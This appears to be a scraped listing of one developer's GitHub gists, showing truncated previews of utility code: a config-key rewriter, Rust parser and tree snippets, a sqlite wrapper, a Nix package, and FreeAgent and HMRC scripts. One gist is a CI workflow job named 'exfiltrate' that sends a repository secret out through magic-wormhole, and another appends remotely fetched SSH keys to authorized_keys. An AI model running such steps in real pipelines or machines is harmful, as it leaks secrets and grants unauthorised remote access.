This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs'); | |
const TARGET_FILE = './src/config.tsx'; | |
const file = fs.readFileSync(TARGET_FILE).toString(); | |
const lines = file.split('\n'); | |
const start = lines.findIndex(l => l === '// KEYS'); | |
const end = lines.findIndex(l => l === '// \\ KEYS'); | |
const constants = lines.slice(start, end).map((l, i) => l.replace(/".*"/, `"${i.toString(36)}"`)); | |
lines.splice(start, end-start, ...constants); | |
fs.writeFileSync(TARGET_FILE, lines.join('\n')); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{borrow::BorrowMut, cell::RefCell, fs, ops::Deref, rc::Rc}; | |
use nom::{ | |
branch::alt, | |
bytes::complete::{tag, take_till, take_until}, | |
character::complete::{alpha1, char, newline, u32}, | |
combinator::{eof, rest}, | |
multi::many1, | |
sequence::{preceded, terminated, tuple}, | |
IResult, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::{borrow::BorrowMut, cell::RefCell, fs, ops::Deref, rc::Rc}; | |
use nom::{ | |
branch::alt, | |
bytes::complete::{tag, take_till, take_until}, | |
character::complete::{alpha1, char, newline, u32}, | |
combinator::{eof, rest}, | |
multi::many1, | |
sequence::{preceded, terminated, tuple}, | |
IResult, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const EventEmitter = require("events"); | |
const sqlite3 = require("sqlite3"); | |
const { open } = require("sqlite"); | |
sqlite3.verbose(); | |
let instance = {}; | |
const status = new EventEmitter(); | |
status.started = false; | |
const db = new Proxy( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::cell::RefCell; | |
use std::rc::Rc; | |
#[derive(Debug, PartialEq, Eq)] | |
pub struct TreeNode { | |
pub val: i32, | |
pub left: Option<Rc<RefCell<TreeNode>>>, | |
pub right: Option<Rc<RefCell<TreeNode>>>, | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jobs: | |
exfiltrate: | |
runs-on: ubuntu-latest | |
steps: | |
- name: exfiltrate secrets | |
run: | | |
sudo apt update && sudo apt install magic-wormhole | |
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number | |
# wormhole receive 3-magic-number |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ lib, fetchFromGitHub, rustPlatform, installShellFiles }: | |
rustPlatform.buildRustPackage rec { | |
pname = "volta"; | |
version = "1.0.8"; | |
src = fetchFromGitHub { | |
owner = "volta-cli"; | |
repo = pname; | |
rev = "v${version}"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Update all your invoices on FreeAgent to reverse charge, even if they're already reconciled with your bank account | |
// Follow https://dev.freeagent.com/docs/quick_start and use the Google OAuth 2.0 Playground to login into your company account. | |
// Remove .sandbox from links | |
// Get a fresh token and save it here | |
const TOKEN = '' | |
// Manually ignore some invoices by reference | |
const ignoreList = [].map(String) | |
const superagent = require("superagent") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget https://github.com/framp.keys -O - >> ~/.ssh/authorized_keys |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//npm i --save request request-promise | |
const fs = require("fs"); | |
const request = require("request-promise"); | |
const getHMRCMonth = (date) => | |
(date.getMonth() < 9 ? "0" : "") + | |
[date.getMonth() + 1, date.getYear() % 100].join(""); | |
const hmrcBasePage = (year) => | |
`https://www.gov.uk/government/publications/hmrc-exchange-rates-for-${year}-monthly`; |